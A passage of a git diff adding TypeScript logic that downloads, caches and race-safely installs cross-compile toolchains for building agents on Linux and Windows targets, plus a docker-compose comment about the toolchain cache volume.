another process already + // created rootDir (race), fall back to checking the sentinel. + try { + fs.renameSync(tmpDir, rootDir); + } catch (err: any) { + // If another worker won the race and rootDir already exists, accept it. + if (err.code === "ENOTEMPTY" || err.code === "EEXIST" || err.code === "EPERM") { + try { + fs.rmSync(tmpDir, { recursive: true, force: true }); + } catch {} + if (isInstalled(key)) return; + } + throw err; + } + + fs.writeFileSync(sentinelPath(key), `${m.url}\n${new Date().toISOString()}\n`); + send({ + type: "output", + text: `[toolchain] ${m.displayName} ready at ${rootDir}\n`, + level: "info", + }); + logger.info(`[toolchain] installed ${key} at ${rootDir}`); +} + +export async function ensureToolchain( + key: ToolchainKey, + send: SendToStream, +): Promise { + if (isInstalled(key)) { + return resolveEnsured(key); + } + + const existing = inFlight.get(key); + if (existing) return existing; + + const promise = (async () => { + try { + await downloadAndExtract(key, send); + return resolveEnsured(key); + } finally { + inFlight.delete(key); + } + })(); + + inFlight.set(key, promise); + return promise; +} + +const TARGET_TO_TOOLCHAIN: Record = { + "linux/amd64": "linux-musl-x64", + "linux/arm64": "linux-musl-arm64", + "linux/arm/v7": "linux-musl-armv7", + "windows/amd64": "mingw-w64-x64", + "windows/386": "mingw-w64-x86", +}; + +export function toolchainKeyForTarget(targetKey: string): ToolchainKey | null { + return TARGET_TO_TOOLCHAIN[targetKey] || null; +} diff --git a/docker-compose.yml b/docker-compose.yml index 1eaa9f5..e0d449f 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -44,6 +44,9 @@ services: OVERLORD_FILE_UPLOAD_INTENT_TTL_MS: ${OVERLORD_FILE_UPLOAD_INTENT_TTL_MS:-1800000} OVERLORD_FILE_UPLOAD_PULL_TTL_MS: ${OVERLORD_FILE_UPLOAD_PULL_TTL_MS:-1800000} volumes: + # overlord-data also caches downloaded cross-compile toolchains + # under /app/data/toolchains, fetched on first agent build for a + # given target (mingw, aarch64/armv7/musl, Android NDK, ldid, UPX). - overlord-data:/app/data - overlord-certs:/app/certs - overlord-client-build-cache:/app/client-build-cache